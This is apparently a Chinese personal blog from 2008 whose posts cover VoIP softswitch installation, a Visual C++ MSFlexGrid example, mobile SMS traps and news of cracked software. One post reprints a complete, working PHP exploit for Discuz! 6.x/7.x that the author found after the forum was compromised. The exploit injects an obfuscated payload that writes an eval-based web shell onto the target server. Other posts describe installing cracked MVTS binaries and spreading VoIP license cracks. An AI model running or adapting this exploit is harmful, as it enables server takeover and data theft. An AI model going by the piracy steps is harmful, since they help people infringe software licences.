Nov 28 2008
搞定了山寨机垃圾短信陷阱
这个月不小心碰到山寨机的短信陷阱,又被扣了12元。气死我了,后来在网上找到一个办法,就是打10086关闭梦网短信功能,这样再不小心碰到那些陷阱就会收到短信:
由于未经您的授权,本次请求未成功,如需使用,请致电10086中国移动进行开通。
Nov 28 2008
这个月不小心碰到山寨机的短信陷阱,又被扣了12元。气死我了,后来在网上找到一个办法,就是打10086关闭梦网短信功能,这样再不小心碰到那些陷阱就会收到短信:
由于未经您的授权,本次请求未成功,如需使用,请致电10086中国移动进行开通。
Nov 28 2008
最近在维护一个SDK写的程序,某个显示界面要使用表格控件,在网上搜索了很多人的文章,参考了http://topic.csdn.net/t/20020702/14/843997.html 和http://www.titilima.cn/show-64-1.html 这两篇文章,做了个个MSFLXGRID.OCX版的测试程序,在VC++6中通过。
// testgrid.cpp : Defines the entry point for the application.
//
#include “stdafx.h”
#import “c:\windows\system32\msflxgrd.ocx”
#include <atlbase.h>
CComModule _Module;
#include <atlwin.h>
#pragma comment(lib,”atl”)
#define ODS(x) OutputDebugString(x)
// 处理连接点事件的接收器实现
class CFlexGridSink : public MSFlexGridLib::DMSFlexGridEvents
{
public:
CFlexGridSink() :m_pFlexGrid(NULL),m_dwRef(1),m_hrConnected(CONNECT_E_CANNOTCONNECT), m_dwCookie(0),m_pCP(NULL)
{
}
~CFlexGridSink()
{
}
//控件初始化操作
HRESULT Init(MSFlexGridLib::IMSFlexGrid* pWin)
{
HRESULT hr = NOERROR;
LPCONNECTIONPOINTCONTAINER pCPC = NULL;
if (m_pFlexGrid)
m_pFlexGrid->Release();
m_pFlexGrid = pWin;
if (FAILED(hr = pWin->QueryInterface(IID_IConnectionPointContainer, (LPVOID*)&pCPC)))
goto Error;
if (FAILED(hr = pCPC->FindConnectionPoint(__uuidof(MSFlexGridLib::DMSFlexGridEvents), &m_pCP)))
goto Error;
m_hrConnected = m_pCP->Advise((LPUNKNOWN)this, &m_dwCookie);
ODS(”Init runs well”);
Error:
if (pCPC) pCPC->Release();
return hr;
}
HRESULT Passivate()
{
HRESULT hr = NOERROR;
if (m_pCP)
{
if (m_dwCookie)
{
hr = m_pCP->Unadvise(m_dwCookie);
m_dwCookie = 0;
}
m_pCP->Release();
m_pCP = NULL;
}
if (m_pFlexGrid)
{
m_pFlexGrid->Release();
m_pFlexGrid = NULL;
}
return NOERROR;
} //初始化结束
// IUnknown 方法
STDMETHOD(QueryInterface)(REFIID riid, LPVOID* ppv)
{
*ppv = NULL;
if (IID_IUnknown == riid)
{
*ppv = (LPUNKNOWN)this;
AddRef(); ODS(”IID_IUnknown”);
return NOERROR;
}
else if (IID_IDispatch == riid)
{
*ppv = (IDispatch*)this;
AddRef(); ODS(”IID_IDispatch”);
return NOERROR;
}
else if(riid==__uuidof(MSFlexGridLib::DMSFlexGridEvents))
{
*ppv = (MSFlexGridLib::DMSFlexGridEvents*)this;
AddRef(); ODS(”DMSFlexGridEvents引用\n”);
return NOERROR;
}
else
{
OLECHAR wszBuff[39];
int i = StringFromGUID2(riid, wszBuff, 39);
TCHAR szBuff[39];
i = WideCharToMultiByte(CP_ACP, 0, wszBuff, -1, szBuff, 39, NULL, NULL);
ODS(”DMSFlexGridEvents QI: “); ODS(szBuff); ODS(”\n”);
return E_NOTIMPL;
}
}
//////////////////////////////////
STDMETHOD_(ULONG,AddRef)()
{
TCHAR szBuff[255];
wsprintf(szBuff, “引用增加CFlexgridSink refcount increased to %d\n”, m_dwRef+1);
ODS(szBuff);
return ++m_dwRef;
}
////////////////////////////
STDMETHOD_(ULONG, Release)()
{
TCHAR szBuff[255];
if (–m_dwRef == 0)
{
ODS(”删除Deleting CFlexgridSink\n”);
delete this;
return 0;
}
wsprintf(szBuff, “减少到:CFlexgridSink refcount reduced to %d\n”, m_dwRef);
ODS(szBuff);
return m_dwRef;
}
/////////////////////////////////
// IDispatch method
STDMETHOD(GetTypeInfoCount)(UINT* pctinfo)
{ ODS(”GetTypeInfoCount\n”); return E_NOTIMPL; }
STDMETHOD(GetTypeInfo)(UINT iTInfo,
LCID lcid,
ITypeInfo** ppTInfo)
{ ODS(”GetTypeInfo\n”); return E_NOTIMPL; }
STDMETHOD(GetIDsOfNames)(REFIID riid,
LPOLESTR* rgszNames,
UINT cNames,
LCID lcid,
DISPID* rgDispId)
{ ODS(”GetIDsOfNames\n”); return E_NOTIMPL; }
STDMETHOD(Invoke)(DISPID dispIdMember,
REFIID riid,
LCID lcid,
WORD wFlags,
DISPPARAMS __RPC_FAR *pDispParams,
VARIANT __RPC_FAR *pVarResult,
EXCEPINFO __RPC_FAR *pExcepInfo,
UINT __RPC_FAR *puArgErr)
{
TCHAR szBuff[255];
long x,y;
// wsprintf(szBuff, “pVarResult: %d,事件发生: %x\n”, pVarResult, dispIdMember);
//ODS(szBuff);
//ODS(”事件发生\n”);
/*if (!pVarResult)
{
return E_POINTER;
} */
switch(dispIdMember)
{
case DISPID_CLICK:
m_pFlexGrid->get_MouseRow(&x);
m_pFlexGrid->get_MouseCol(&y);
wsprintf(szBuff, “鼠标单击 行:%d, 列:%d\n”, x, y);
MessageBox(NULL,szBuff,”测试一个程序”,MB_OK);
break;
//case 0×47:
//MessageBox(NULL,”Entercell”,”测试一个程序”,MB_OK);
//break;
case DISPID_DBLCLICK:
ODS(”DblClick”);
break;
case DISPID_READYSTATECHANGE:
ODS(”OnReadyStateChange”);
break;
default:
TCHAR szBuff[255];
wsprintf(szBuff,”dispIdMember=%d”,dispIdMember);
ODS(szBuff);
return DISP_E_MEMBERNOTFOUND;
}
return NOERROR;
}
/////////////////////////
private:
MSFlexGridLib::IMSFlexGrid* m_pFlexGrid;
DWORD m_dwRef;
LPCONNECTIONPOINT m_pCP;
HRESULT m_hrConnected;
DWORD m_dwCookie;
};//类结束
HINSTANCE hInst;
CAxWindow m_container;
CFlexGridSink g_FlexGrid;
using namespace MSFlexGridLib;
IMSFlexGrid* flxdbg;
BOOL InitInstance(HINSTANCE hInstance, int nCmdShow)
{
HWND hWnd;
hInst = hInstance; // Store instance handle in our global variable
AtlAxWinInit();
hWnd = CreateWindow(”mydoc”, “this test windows”, WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT, 0, CW_USEDEFAULT, 0, NULL, NULL, hInstance, NULL);
if (!hWnd)
return FALSE;
ShowWindow(hWnd, nCmdShow);
UpdateWindow(hWnd);
return TRUE;
}
LRESULT APIENTRY WndProc(HWND hWnd, UINT message,
WPARAM wParam, LPARAM lParam);
BOOL InitInstance(HINSTANCE, int);
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
MSG msg;
WNDCLASSEX wcex;
wcex.cbSize = sizeof(WNDCLASSEX);
wcex.style = CS_HREDRAW | CS_VREDRAW;
wcex.lpfnWndProc = (WNDPROC)WndProc;
wcex.cbClsExtra = 0;
wcex.cbWndExtra = 0;
wcex.hInstance = hInstance;
wcex.hIcon = LoadIcon(NULL, IDI_APPLICATION);
wcex.hCursor = LoadCursor(NULL, IDC_ARROW);
wcex.hbrBackground = (HBRUSH)(COLOR_WINDOW+1);
wcex.lpszMenuName = NULL;//(LPCSTR)IDC_FLSH;
wcex.lpszClassName = “mydoc”;
wcex.hIconSm = LoadIcon(NULL, IDI_APPLICATION);
RegisterClassEx(&wcex);
CoInitialize(NULL);
if (!InitInstance (hInstance, nCmdShow)) return FALSE;
while (GetMessage(&msg, NULL, 0, 0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return msg.wParam;
}
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
int wmId, wmEvent;
PAINTSTRUCT ps;
HDC hdc;
switch (message)
{
case WM_CREATE:
RECT rc;
CreateWindow(TEXT(”BUTTON”),TEXT(”按钮(&A)”),
WS_CHILD | WS_VISIBLE |BS_PUSHBUTTON, 10, 10, 100, 30, hWnd, (HMENU)1000, //控件ID
((LPCREATESTRUCT) lParam)->hInstance, //实例句柄
NULL); //创建一个按钮
GetClientRect(hWnd, &rc );
rc.top = rc.top+50;
m_container.Create( hWnd, rc, LPCTSTR(”MsFlexGridLib.MSFlexGrid”), WS_CHILD|WS_VISIBLE|WS_HSCROLL|WS_VSCROLL );
m_container.QueryControl( __uuidof(IMSFlexGrid), reinterpret_cast<void**>(&flxdbg) );
g_FlexGrid.Init (flxdbg);
flxdbg->ColWidth[1]=1500;
//flxdbg->put_BackColor(180)
flxdbg->PutBackColorSel(180);
flxdbg->put_Rows(10);
flxdbg->put_Cols (10);
flxdbg->AllowUserResizing=flexResizeBoth;
flxdbg->FixedCols =0;
//flxdbg->put_RowSel(10);
flxdbg->Row =3;
flxdbg->ColSel=8;
flxdbg->put_CellBackColor(0xff0000);
flxdbg->Row =5;
flxdbg->ColSel=8;
flxdbg->put_CellBackColor(0xff0000);
flxdbg->put_TextMatrix(0,0,SysAllocString(L”槽号”));
flxdbg->put_TextMatrix(1,0,SysAllocString(L”101″));
flxdbg->put_TextMatrix(0,1,SysAllocString(L”电流”));
flxdbg->put_TextMatrix(1,1,SysAllocString(L”160″));
flxdbg->put_TextMatrix(0,2,SysAllocString(L”电压”));
// return 0;
break;
case WM_SIZING:
GetClientRect(hWnd, &rc );
rc.top = rc.top+100;
m_container.MoveWindow(&rc,true);
// flxdbg->Rows->
break;
case WM_COMMAND:
wmId = LOWORD(wParam);
wmEvent = HIWORD(wParam);
switch (wmId)
{
case 1000:
{
MessageBox(NULL,”按钮按下了”,”测试一个程序”,MB_OK);
}
break;
default:
return DefWindowProc(hWnd, message, wParam, lParam);
}
break;
case WM_PAINT:
hdc = BeginPaint(hWnd, &ps);
RECT rt;
GetClientRect(hWnd, &rt);
EndPaint(hWnd, &ps);
break;
case WM_DESTROY:
g_FlexGrid.Release ();
PostQuitMessage(0);
break;
default:
return DefWindowProc(hWnd, message, wParam, lParam);
}
return 0;
}
Nov 23 2008
一、安装MVTS:
cd /usr/local
tar xvzf mvts-310-Linux.tar.gz
cd ./mvts
chmod 777 setup.sh
./setup.sh
输入: enter MVTS admin group id: 0
enter MVTS support group id: 0
enter MVTS billing group id: 0
全部输入root的group id为0
MVTS安装完成!
二、解密:
将mp_kerneld.x拷贝到/usr/local/mvts/bin目录下
将文件权限改为:-r-xr-x—x (chomd 777 mp_kerneld.x)
三、执行MVTS
/etc/rc.d/init.d/mvts start
/usr/local/mvts/bin/mp_shell.x进入MVTS控制台
#> show stat 显示MVTS状态
MVTS-SIP-HIT协议转换程序
安装SIP转换程序
tar zxvf SIP-HIT_1.1.2.10_linux.tar.gz
./install.sh
/usr/local/siphit回车
安装完成
将 cr_siphit_linux.tgz拷到/usr/local/siphit目录下,解压覆盖原文件OK!
Chmod 777 convert
mvts_manager.tar.gz
安装MVTS管理程序及WEB
tar zxvf manager.tar.gz
cd manager
Chmod 777 setup
[root@localhost manager]# ./setup
MVTS directory? [/usr/local/mvts]:
MVTS Manager directory? [/usr/local/mvts/manager]:
File or directory /usr/local/mvts/manager exists. Replace? [y/n]: y
MVTS admin group? [mvts]:
MVTS admin user (not root)? [mvts]:
MVTS Manager successfully installed.
Please do following steps before using MVTS Manager:
1. Edit file /usr/local/mvts/cfg/meraproxy.cfg:
[Console]
console_port=1730
admin_gid=500
2. Reload MVTS configuration:
/usr/local/mvts/bin/mp_shell.x r c -d
3. Start MVTS agent from root:
/usr/local/mvts/manager/bin/mvtsagntctl start
or
/etc/init.d/mvtsagnt start
Thank you for using MVTS Manager!
*******************************************************************************
MVTS解密
二、解密:
将mp_kerneld.x拷贝到/usr/local/mvts/bin目录下
将文件权限改为:-r-xr-x–x
三、执行MVTS
/etc/rc.d/init.d/mvts start
/usr/local/mvts/bin/mp_shell.x进入MVTS控制台
#> show stat 显示MVTS状态
Nov 18 2008
在国外论坛上看到Voipswitch 的新版又有了,983版,感觉除了支持Vista 之外,其他变化不大。难道Vista 用户很多吗?大部分的应该都是用语音网关吧,只要升级了SIP软电话就可以。有机会找个来测试下。
VPS983 — Voipswitch version 2.0.0.983
Support dialer Vista
include vippie!
support new Webportal , support 15/30/60 sec for CDR display format
support OnlineShop for paypal , online pay
support Tunnel Server/Tunnel pc2phone Dialer/Tunnel Proxy **** VPN dialer for UAE/dubai/BD
support Calling card Module , pin recharge
support VoiceMail
support Callshop Module
support DID Callback / SMS Callback / ANI Callback / WEB Callback / SMS recharge
support internal Billiing / prepaid / web reseller / web config
support WEB CDR
support IVR voice play UserBalance , IVR voice build , IVR recharge
include h323 , sip softphone / webphone
Nov 17 2008
VOS安装前准备
1:vi /etc/selinux/config 查看其中是否有 SELINUX=disabled 如果没有要设定如上 后重启服务器
2:rpm -qa|grep mysql 查看是否安装过musql 如装过就要用 rpm -e –nodeps mysql 强制删除
3:date 查看系统时间 用 date -s —— 来修改新的时间 再用 clock –systohc把系统信息写入硬件
4:上传文件 用 sftp 统一在上传服务器建立 dl/tools和dl/v1.2.1-12目录
vos安装
cat /proc/version 系统内核信息
cat /proc/cpuinfo cpu信息
cat /proc/meminfo 内存信息
1:查看是否安装perl rpm -qa|grep perl
2:rpm -ivh perl -DBI-1.40-5.i386.rpm
3:rpm -ivh MySQL-server-community-5.0.45-0.rhe14.i386.rpm
4:查看mysql是否安装成功:ps -ef|grep mysql或用 top查看
5, rpm -ivh mysql-client-community-5.0.45-0.rh14.i138.rm
6, tar zxvf apach-tomcat-5.5.15.tar.gz 解压
7, mv apache-tomcat -5.5.15 /usr 移动目录
8, vi /usr/apache-tomcat-5.5.15/conf/server.xml 进入后 /8080 将connector port =”80″ :wq
9 rpm -ivh jdk-1.5.0.08-linux-i586.rpm
10, rpm -ivh mbx1000hs-1.2.1-12.i586.rpm
11, rpm -ivh vos2000-1.2.1-12.i586.rpm
VOS升级
1 rpm -e mbx 1000hs 删除旧mbx
2 rpm -ivh mbx 1000hs-1.2.1-12.i586.rpm 升级包
VOS问题
cd /var/lib/mysql/vosdb
安装后数据同步
用LL命令查看VOSDB下所有用户权限.
可用命令 chown mysql:mysql * 把所有的文件的权限改为mysql
发现因断电使数据出错时用命令 mysqlcheck -r vosdb 修复VOS 全部数据,也可以先进入MYSQL 再
mysql >show tables
mysql >select * from e_customer limit 1
表名 查找一行错误
如果后发现这个表中有错误
mysql>repair table e_customer 修复此表
可用这种办法先查看所有的表,、再修复
重启服务
/etc/init.d/vosd restart
/etc/init.d/voswebct restart
/etc/init.d/voswebsv restart
/etc/init.d/mbxhsd restart (双)
/etc/init.d/mbxsd restart (sip)
/etc/init.d/mbxd restart (h323)
Nov 16 2008
oo论坛昨天被挂马了,从日志里找到了挂马者的痕迹,通过wap/index.php注入,然后获得一个shell,拿到了mysql的密码,后提权。从挂马者留下的shell里找到了攻击代码发布的网站。找到了这段攻击代码。
要求比较高,需要开通WAP注册。
#!/usr/bin/php
<?php
/**
* Discuz! 6.x/7.x SODB-2008-13 Exp
* By www.80vul.com
* 文件中注释的变量值请自行修改
*/
$host = ‘www.6sim.com’;
// 服务器域名或IP
$path = ‘/bbs/’;
// 程序所在的路径
$key = 1;
// 上面的变量编辑好后,请将此处的值改为1if (strpos($host, ‘://’) !== false || strpos($path, ‘/’) === false || $key !== 1)
exit(”专业点好不,先看看里面的注释 -,-\n”);error_reporting(7);
ini_set(’max_execution_time’, 0);$key = time();
$cmd = ‘action=register&username=’.$key.’&password=’.$key.’&email=’.$key.’@80vul.com&_DCACHE=1′;
$resp = send();preg_match(’/logout=yes&formhash=[a-z0-9]{8}&sid=([a-zA-Z0-9]{6})/’, $resp, $sid);
echo $resp;
if (!$sid)
exit(”哦,大概是没有开启WAP注册吧 -,-\n”);$cmd = ’stylejump[1]=1&styleid=1&inajax=1&transsidstatus=1&sid=’.$sid[1].’&creditsformula=${${fputs(fopen(chr(46).chr(46).chr(47).chr(102).chr(111).chr(114).chr(117).chr(109).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(101).chr(118).chr(97).chr(108).chr(46).chr(112).chr(104).chr(112),chr(119).chr(43)),chr(60).chr(63).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(93).chr(41).chr(63).chr(62).chr(56).chr(48).chr(118).chr(117).chr(108))}}’;
send();$shell = ‘http://’.$host.$path.’forumdata/cache/eval.php’;
if (file_get_contents($shell) == ‘80vul’)
exit(”好了,去看看你的WebShell吧:\t$shell\n里面的代码是:\t<?eval(\$_POST[c])?>\n别告诉我你不会用 -,-\n”);
else
exit(”嗯,大概是该网站不存在漏洞,换一个吧 -,-\n”);function send()
{
global $host, $path, $url, $cmd;$data = “POST “.$path.”wap/index.php HTTP/1.1\r\n”;
$data .= “Accept: */*\r\n”;
$data .= “Accept-Language: zh-cn\r\n”;
$data .= “Referer: http://$host$path\r\n“;
$data .= “Content-Type: application/x-www-form-urlencoded\r\n”;
$data .= “User-Agent: Opera/9.62 (X11; Linux i686; U; zh-cn) Presto/2.1.1\r\n”;
$data .= “Host: $host\r\n”;
$data .= “Connection: Close\r\n”;
$data .= “Content-Length: “.strlen($cmd).”\r\n\r\n”;
$data .= $cmd;$fp = fsockopen($host, 80);
fputs($fp, $data);$resp = ”;
while ($fp && !feof($fp))
$resp .= fread($fp, 1024);return $resp;
}?>
Nov 14 2008
自从skip2pbx升级到3.0之后,很多破解版的用户突然发现他们运营的好好的skip2pbx不能用了,连不上SKYPE了,检查日志发现服务器访问skip2pbx官方网站之后就拒绝登录skype了,重新安装也不行。用盗版就是不稳定啊。不过也还用了几个月,按说应该挣了不少吧。这时候要么买正版的授权,要么等新破解出来。
Nov 08 2008
虽然百度可以带来很多流量,但是这个世界不是只有一个百度,离开了百度一样活,现在我的博客在百度只剩下首页,每次只收录首页,死活不收内页。虽然我的博客全部是原创文章。但是尽管百度一度把首页给K了,但是我的博客流量一点没少,虽然每天只有几百IP,但是都是自然流量,90%都是直接输入网址来的。没有百度之前大家都怎么过的?没有百度就不活了吗?
Nov 05 2008
在某VOIP论坛上,有网友已经发布了voipswitch 977版的破解版,这是目前国内破解版的最高版,此前有网友发布了983版的未破解版,据悉,977版修正了967和969不能强制显号的BUG,支持经济路由,对小网关的支持更好。但是目前普通网友还很难下载到这个版本,因为发布者要求的金币太高。只有高级会员才可以下载到。由于新的破解版发布了,因此969版的注册机都打折了。
Nov 01 2008
昨天下午,在某VOIP论坛,已经有网友开始传播vos2000的破解文件,该网友留下了一个QQ联系方式,免费生成授权文件,今天又有网友把注册机发到该论坛上。相信VOS的破解文件已经传播范围较广了。目前南京昆石方面还没有反应。另外有网友指出这是官方的伎俩,在SVSS免费政策,FREEIRIS开源的压力之下,学习AVS的放纵盗版政策,占领市场,等客户的平台部署差不多的时候再打击,这样客户想换其他平台就很困难,就只好乖乖交钱买正版。
目前国内软交换市场产品有同质化现象,功能都差不多,想占领市场就只有降价,或者先放纵盗版,培养潜在客户。国内开源软件freeiris已经开发出基于SKYPE做落地的插件,测试结果很不错,相信软交换市场的竞争将进一步白热化,这也给商业软交换一定压力。